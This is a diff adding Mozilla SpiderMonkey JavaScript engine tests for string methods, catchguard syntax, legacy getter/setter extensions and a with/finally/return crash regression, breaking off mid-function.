+
+result = "bbbA".search("a", "i");
+assertEq(result, -1);
+
+result = "bbbAaa".replace("a", "b", "g");
+assertEq(result, "bbbAba");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/js1_5/String/shell.js b/js/src/tests/js1_5/String/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/String/shell.js
diff --git a/js/src/tests/js1_5/browser.js b/js/src/tests/js1_5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/browser.js
diff --git a/js/src/tests/js1_5/extensions/browser.js b/js/src/tests/js1_5/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/browser.js
diff --git a/js/src/tests/js1_5/extensions/catchguard-001-n.js b/js/src/tests/js1_5/extensions/catchguard-001-n.js
new file mode 100644
index 000000000..a0ff8d40c
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/catchguard-001-n.js
@@ -0,0 +1,43 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+DESCRIPTION = " the non-guarded catch should HAVE to appear last";
+EXPECTED = "error";
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ var EXCEPTION_DATA = "String exception";
+ var e;
+
+ printStatus ("Catchguard syntax negative test.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (e) /* the non-guarded catch should HAVE to appear last */
+ {
+
+ }
+ catch (e if true)
+ {
+
+ }
+ catch (e if false)
+ {
+
+ }
+
+ reportCompare('PASS', 'FAIL',
+ "Illegally constructed catchguard should have thrown " +
+ "an exception.");
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/js1_5/extensions/catchguard-001.js b/js/src/tests/js1_5/extensions/catchguard-001.js
new file mode 100644
index 000000000..d79f88b3f
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/catchguard-001.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ var EXCEPTION_DATA = "String exception";
+ var e = "foo";
+ var caught = false;
+
+ printStatus ("Basic catchguard test.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (e if true)
+ {
+ caught = true;
+ e = "this change should not propagate outside of this scope";
+ }
+ catch (e if false)
+ {
+ reportCompare('PASS', 'FAIL', "Catch block (e if false) should not have executed.");
+ }
+ catch (e)
+ {
+ reportCompare('PASS', 'FAIL', "Catch block (e) should not have executed.");
+ }
+
+ if (!caught)
+ reportCompare('PASS', 'FAIL', "Exception was never caught.");
+
+ if (e != "foo")
+ reportCompare('PASS', 'FAIL', "Exception data modified inside catch() scope should " +
+ "not be visible in the function scope (e = '" +
+ e + "'.)");
+
+ reportCompare('PASS', 'PASS', '');
+ exitFunc ("test");
+}
diff --git a/js/src/tests/js1_5/extensions/catchguard-002.js b/js/src/tests/js1_5/extensions/catchguard-002.js
new file mode 100644
index 000000000..a6068f6fc
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/catchguard-002.js
@@ -0,0 +1,43 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ var EXCEPTION_DATA = "String exception";
+ var e;
+ var caught = false;
+
+ printStatus ("Basic catchguard test.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (e if true)
+ {
+ caught = true;
+ }
+ catch (e if true)
+ {
+ reportCompare('PASS', 'FAIL',
+ "Second (e if true) catch block should not have executed.");
+ }
+ catch (e)
+ {
+ reportCompare('PASS', 'FAIL', "Catch block (e) should not have executed.");
+ }
+
+ if (!caught)
+ reportCompare('PASS', 'FAIL', "Exception was never caught.");
+
+ reportCompare('PASS', 'PASS', 'Basic catchguard test');
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/js1_5/extensions/catchguard-003.js b/js/src/tests/js1_5/extensions/catchguard-003.js
new file mode 100644
index 000000000..4aee3a21d
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/catchguard-003.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ var EXCEPTION_DATA = "String exception";
+ var e = "foo", x = "foo";
+ var caught = false;
+
+ printStatus ("Catchguard 'Common Scope' test.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (e if ((x = 1) && false))
+ {
+ reportCompare('PASS', 'FAIL',
+ "Catch block (e if ((x = 1) && false) should not " +
+ "have executed.");
+ }
+ catch (e if (x == 1))
+ {
+ caught = true;
+ }
+ catch (e)
+ {
+ reportCompare('PASS', 'FAIL',
+ "Same scope should be used across all catchguards.");
+ }
+
+ if (!caught)
+ reportCompare('PASS', 'FAIL',
+ "Exception was never caught.");
+
+ if (e != "foo")
+ reportCompare('PASS', 'FAIL',
+ "Exception data modified inside catch() scope should " +
+ "not be visible in the function scope (e ='" +
+ e + "'.)");
+
+ if (x != 1)
+ reportCompare('PASS', 'FAIL',
+ "Data modified in 'catchguard expression' should " +
+ "be visible in the function scope (x = '" +
+ x + "'.)");
+
+ reportCompare('PASS', 'PASS', 'Catchguard Common Scope test');
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/js1_5/extensions/getset-001.js b/js/src/tests/js1_5/extensions/getset-001.js
new file mode 100644
index 000000000..29191cdfe
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/getset-001.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+function TestObject ()
+{
+ /* A warm, dry place for properties and methods to live */
+}
+
+TestObject.prototype._y = "<initial y>";
+
+Object.defineProperty(TestObject.prototype, "y",
+{
+ enumerable: true, configurable: true,
+ get: function get_y ()
+ {
+ var rv;
+ if (typeof this._y == "string")
+ rv = "got " + this._y;
+ else
+ rv = this._y;
+ return rv;
+ },
+ set: function set_y (newVal) { this._y = newVal; }
+});
+
+
+test(new TestObject());
+
+function test(t)
+{
+ enterFunc ("test");
+
+ printStatus ("Basic Getter/ Setter test");
+ reportCompare ("<initial y>", t._y, "y prototype check");
+
+ reportCompare ("got <initial y>", t.y, "y getter, before set");
+
+ t.y = "new y";
+ reportCompare ("got new y", t.y, "y getter, after set");
+
+ t.y = 2;
+ reportCompare (2, t.y, "y getter, after numeric set");
+
+ var d = new Date();
+ t.y = d;
+ reportCompare (d, t.y, "y getter, after date set");
+
+}
diff --git a/js/src/tests/js1_5/extensions/getset-003.js b/js/src/tests/js1_5/extensions/getset-003.js
new file mode 100644
index 000000000..7aec7fcfd
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/getset-003.js
@@ -0,0 +1,189 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.prop getter/setter
+ * Note: this is a non-ECMA extension to the language.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing obj.prop getter/setter';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var obj = {};
+var obj2 = {};
+var s = '';
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+Object.defineProperty(obj, "name",
+{
+ enumerable: true, configurable: true,
+ set: function(newValue) {this._name=newValue; this.nameSETS++;},
+ get: function() {this.nameGETS++; return this._name;}
+});
+
+ status = 'In SECTION1 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION1 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION1 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION1 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.defineProperty(Object.prototype, "name",
+{
+ enumerable: true, configurable: true,
+ set: function(newValue) {this._name=newValue; this.nameSETS++;},
+ get: function() {this.nameGETS++; return this._name;}
+});
+
+ obj = new Object();
+status = 'In SECTION2 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION2 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION2 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION2 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+Object.defineProperty(TestObject.prototype, "name",
+{
+ enumerable: true, configurable: true,
+ set: function(newValue) {this._name=newValue; this.nameSETS++;},
+ get: function() {this.nameGETS++; return this._name;}
+});
+ TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype)
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION3 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION3 of test after 2 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION3 of test after 3 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,2];
+addThis();
+
+obj2 = new TestObject();
+status = 'obj2 = new TestObject() after 1 set, 0 gets';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [1,0]; // we set a default value in the prototype -
+addThis();
+
+// Use both obj and obj2 -
+obj2.name = obj.name + obj2.name;
+status = 'obj2 = new TestObject() after 2 sets, 1 get';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [2,1];
+addThis();
+
+status = 'In SECTION3 of test after 3 sets, 3 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,3]; // we left off at [3,2] above -
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/js1_5/extensions/getset-004.js b/js/src/tests/js1_5/extensions/getset-004.js
new file mode 100644
index 000000000..30e134819
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/getset-004.js
@@ -0,0 +1,177 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.__defineSetter__(), obj.__defineGetter__()
+ * Note: this is a non-ECMA language extension
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing obj.__defineSetter__(), obj.__defineGetter__()';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var obj = {};
+var obj2 = {};
+var s = '';
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+obj.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;});
+obj.__defineGetter__('name', function() {this.nameGETS++; return this._name;});
+
+status = 'In SECTION1 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION1 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION1 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION1 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.prototype.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;});
+Object.prototype.__defineGetter__('name', function() {this.nameGETS++; return this._name;});
+
+obj = new Object();
+status = 'In SECTION2 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION2 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION2 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION2 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+TestObject.prototype.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;});
+TestObject.prototype.__defineGetter__('name', function() {this.nameGETS++; return this._name;});
+TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype)
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION3 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION3 of test after 2 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION3 of test after 3 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,2];
+addThis();
+
+obj2 = new TestObject();
+status = 'obj2 = new TestObject() after 1 set, 0 gets';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [1,0]; // we set a default value in the prototype -
+addThis();
+
+// Use both obj and obj2 -
+obj2.name = obj.name + obj2.name;
+status = 'obj2 = new TestObject() after 2 sets, 1 get';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [2,1];
+addThis();
+
+status = 'In SECTION3 of test after 3 sets, 3 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,3]; // we left off at [3,2] above -
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/js1_5/extensions/getset-005.js b/js/src/tests/js1_5/extensions/getset-005.js
new file mode 100644
index 000000000..da55105de
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/getset-005.js
@@ -0,0 +1,186 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.__defineSetter__(), obj.__defineGetter__()
+ * Note: this is a non-ECMA language extension
+ *
+ * This test is the same as getset-004.js, except that here we
+ * store the getter/setter functions in global variables.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing obj.__defineSetter__(), obj.__defineGetter__()';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnName = 'name';
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var obj = {};
+var obj2 = {};
+var s = '';
+
+
+// The getter/setter functions we'll use in all three sections below -
+var cnNameSetter = function(newValue) {this._name=newValue; this.nameSETS++;};
+var cnNameGetter = function() {this.nameGETS++; return this._name;};
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+obj.__defineSetter__(cnName, cnNameSetter);
+obj.__defineGetter__(cnName, cnNameGetter);
+
+status = 'In SECTION1 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION1 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION1 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION1 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.prototype.__defineSetter__(cnName, cnNameSetter);
+Object.prototype.__defineGetter__(cnName, cnNameGetter);
+
+obj = new Object();
+status = 'In SECTION2 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION2 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION2 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION2 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+TestObject.prototype.__defineSetter__(cnName, cnNameSetter);
+TestObject.prototype.__defineGetter__(cnName, cnNameGetter);
+TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype)
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION3 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION3 of test after 2 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION3 of test after 3 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,2];
+addThis();
+
+obj2 = new TestObject();
+status = 'obj2 = new TestObject() after 1 set, 0 gets';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [1,0]; // we set a default value in the prototype -
+addThis();
+
+// Use both obj and obj2 -
+obj2.name = obj.name + obj2.name;
+status = 'obj2 = new TestObject() after 2 sets, 1 get';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [2,1];
+addThis();
+
+status = 'In SECTION3 of test after 3 sets, 3 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,3]; // we left off at [3,2] above -
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/js1_5/extensions/getset-006.js b/js/src/tests/js1_5/extensions/getset-006.js
new file mode 100644
index 000000000..b6ece3a77
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/getset-006.js
@@ -0,0 +1,160 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.__lookupGetter__(), obj.__lookupSetter__()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=71992
+ *
+ * Brendan: "I see no need to provide more than the minimum:
+ * o.__lookupGetter__('p') returns the getter function for o.p,
+ * or undefined if o.p has no getter. Users can wrap and layer."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 71992;
+var summary = 'Testing obj.__lookupGetter__(), obj.__lookupSetter__()';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnName = 'name';
+var cnColor = 'color';
+var cnNonExistingProp = 'ASDF_#_$%';
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var cnRED = 'red';
+var obj = {};
+var obj2 = {};
+var s;
+
+
+// The only setter and getter functions we'll use in the three sections below -
+var cnNameSetter = function(newValue) {this._name=newValue; this.nameSETS++;};
+var cnNameGetter = function() {this.nameGETS++; return this._name;};
+
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+obj.__defineSetter__(cnName, cnNameSetter);
+obj.__defineGetter__(cnName, cnNameGetter);
+obj.name = cnFRED;
+obj.color = cnRED;
+
+status ='In SECTION1 of test; looking up extant getter/setter';
+actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)];
+expect = [cnNameSetter, cnNameGetter];
+addThis();
+
+status = 'In SECTION1 of test; looking up nonexistent getter/setter';
+actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)];
+expect = [undefined, undefined];
+addThis();
+
+status = 'In SECTION1 of test; looking up getter/setter on nonexistent property';
+actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)];
+expect = [undefined, undefined];
+addThis();
+
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.prototype.__defineSetter__(cnName, cnNameSetter);
+Object.prototype.__defineGetter__(cnName, cnNameGetter);
+
+obj = new Object();
+obj.name = cnFRED;
+obj.color = cnRED;
+
+status = 'In SECTION2 of test looking up extant getter/setter';
+actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)];
+expect = [cnNameSetter, cnNameGetter];
+addThis();
+
+status = 'In SECTION2 of test; looking up nonexistent getter/setter';
+actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)];
+expect = [undefined, undefined];
+addThis();
+
+status = 'In SECTION2 of test; looking up getter/setter on nonexistent property';
+actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)];
+expect = [undefined, undefined];
+addThis();
+
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+TestObject.prototype.__defineSetter__(cnName, cnNameSetter);
+TestObject.prototype.__defineGetter__(cnName, cnNameGetter);
+TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+obj.name = cnFRED;
+obj.color = cnRED;
+
+status = 'In SECTION3 of test looking up extant getter/setter';
+actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)];
+expect = [cnNameSetter, cnNameGetter];
+addThis();
+
+status = 'In SECTION3 of test; looking up nonexistent getter/setter';
+actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)];
+expect = [undefined, undefined];
+addThis();
+
+status = 'In SECTION3 of test; looking up getter/setter on nonexistent property';
+actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)];
+expect = [undefined, undefined];
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/js1_5/extensions/regress-104077.js b/js/src/tests/js1_5/extensions/regress-104077.js
new file mode 100644
index 000000000..218459de0
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-104077.js
@@ -0,0 +1,196 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 October 2001
+ * SUMMARY: Regression test for Bugzilla bug 104077
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104077
+ * "JS crash: with/finally/return"
+ *
+ * Also http://bugzilla.mozilla.org/show_bug.cgi?id=120571
+ * "JS crash: try/catch/continue."
+ *
+ * SpiderMonkey crashed on this code - it shouldn't.
+ *
+ * NOTE: the finally-blocks below should execute even if their try-blocks
+ * have return or throw statements in them:
+ *
+ * ------- Additional Comment #76 From Mike Shaver 2001-12-07 01:21 -------
+ * finally trumps return, and all other control-flow constructs that cause
+ * program execution to jump out of the try block: throw, break, etc. Once you
+ * enter a try block, you will execute the finally block after leaving the try,
+ * regardless of what happens to make you leave the try.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 104077;
+var summary = "Just testing that we don't crash on with/finally/return -";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function addValues_3(obj)
+{
+ var sum = 0;
+
+ with (obj)
+ {
+ try
+ {
+ sum = arg1 + arg2;
+ with (arg3)
+ {
+ while (sum < 10)
+ {
+ try
+ {
+ if (sum > 5)
+ return sum;
+ sum += 1;
+ }
+ catch (e)
+ {
+ sum += 1;
